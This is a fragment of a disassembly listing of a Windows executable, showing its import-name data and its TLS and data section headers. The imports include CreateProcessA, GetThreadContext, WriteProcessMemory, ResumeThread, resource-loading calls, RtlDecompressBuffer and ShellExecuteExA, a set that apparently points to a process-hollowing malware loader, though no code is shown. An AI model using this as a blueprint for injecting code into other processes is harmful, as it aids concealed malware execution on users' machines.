		dd 65470000h, 73795374h, 546D6574h, 656D69h, 65470000h
		dd 6C694674h, 70795465h, 65h, 61657243h, 69466574h, 41656Ch
		dd 6C430000h, 4865736Fh, 6C646E61h, 65h, 43746547h, 616D6D6Fh
		dd 694C646Eh, 41656Eh, 6C540000h, 74655373h, 756C6156h
		dd 65h,	47736C54h, 61567465h, 65756Ch, 6F4C0000h, 416C6163h
		dd 636F6C6Ch, 0
aGetmodulehandl	db 'GetModuleHandleA',0
		align 4
aGetmodulefilen	db 'GetModuleFileNameA',0
		align 4
		dd 72460000h, 694C6565h, 72617262h, 79h, 70616548h, 65657246h
		dd 0
aHeaprealloc	db 'HeapReAlloc',0
		dd 65480000h, 6C417061h, 636F6Ch, 65470000h, 6F725074h
		dd 73736563h, 70616548h, 73750000h, 32337265h, 6C6C642Eh
		dd 0
aCharnexta	db 'CharNextA',0
aOleaut32_dll	db 'oleaut32.dll',0
		align 4
		dd 79530000h, 65724673h, 72745365h, 676E69h, 79530000h
		dd 41655273h, 636F6C6Ch, 69727453h, 654C676Eh, 6461006Eh
		dd 69706176h, 642E3233h, 6C6Ch,	65520000h, 74655367h, 756C6156h
		dd 41784565h, 0
aRegopenkeya	db 'RegOpenKeyA',0
		dd 65520000h, 6F6C4367h, 654B6573h, 656B0079h, 6C656E72h
		dd 642E3233h, 6C6Ch, 72570000h,	50657469h, 65636F72h, 654D7373h
		dd 79726F6Dh, 0
aTerminateproce	db 'TerminateProcess',0
		align 10h
aSleep		db 'Sleep',0
		align 4
aSizeofresource	db 'SizeofResource',0
		align 4
		dd 65530000h, 72685474h, 43646165h, 65746E6Fh, 7478h, 65530000h
		dd 73614C74h, 72724574h, 726Fh,	65530000h, 6C694674h, 696F5065h
		dd 7265746Eh, 0
aResumethread	db 'ResumeThread',0
		align 10h
aReadprocessmem	db 'ReadProcessMemory',0
		align 4
aReadfile	db 'ReadFile',0
		align 10h
aLockresource	db 'LockResource',0
		align 10h
aLoadresource	db 'LoadResource',0
		align 10h
aGetthreadconte	db 'GetThreadContext',0
		align 4
aGetprocaddress	db 'GetProcAddress',0
		align 4
		dd 65470000h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 65470000h
		dd 6C694674h, 7A695365h, 65h, 46746547h, 41656C69h, 69727474h
		dd 65747562h, 4173h, 65470000h,	766E4574h, 6E6F7269h, 746E656Dh
		dd 69726156h, 656C6261h, 41h, 65657246h, 6F736552h, 65637275h
		dd 0
aFindresourcea	db 'FindResourceA',0
		align 4
aExitprocess	db 'ExitProcess',0
		dd 65440000h, 6574656Ch, 656C6946h, 41h, 61657243h, 72506574h
		dd 7365636Fh, 4173h, 72430000h,	65746165h, 656C6946h, 41h
		dd 79706F43h, 656C6946h, 41h, 736F6C43h, 6E614865h, 656C64h
		dd 6C656873h, 2E32336Ch, 6C6C64h, 68530000h, 456C6C65h
		dd 75636578h, 416574h, 69460000h, 7845646Eh, 74756365h
		dd 656C6261h, 746E0041h, 2E6C6C64h, 6C6C64h, 74520000h
		dd 6365446Ch, 72706D6Fh, 42737365h, 65666675h
		db 72h,	0
_idata		ends

; Section 5. (virtual address 00008000)
; Virtual size			: 00000004 (	  4.)
; Section size in file		: 00000004 (	  4.)
; Offset to raw	data for section: 00008000
; Flags	C0000000: Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Regular
; Segment permissions: Read/Write
_tls		segment	para public '' use32
		assume cs:_tls
		;org 408000h
		assume es:nothing, ss:nothing, ds:CODE,	fs:nothing, gs:nothing
TlsStart	dd 0			; DATA XREF: .rdata:TlsDirectoryo
_tls		ends

; Section 6. (virtual address 00009000)
; Virtual size			: 00000018 (	 24.)
; Section size in file		: 00000018 (	 24.)
; Offset to raw	data for section: 00009000
; Flags	50000040: Data Shareable Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 409000h
TlsDirectory	dd offset TlsStart
TlsEnd_ptr	dd 408004h
TlsIndex_ptr	dd offset TlsIndex
TlsCallbacks_ptr dd offset TlsSizeOfZeroFill
TlsSizeOfZeroFill dd 0			; DATA XREF: .rdata:TlsCallbacks_ptro
TlsCharacteristics dd 0
_rdata		ends

; Section 9. (virtual address 00039000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00038400
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 439000h
		align 2000h
_idata2		ends


		end start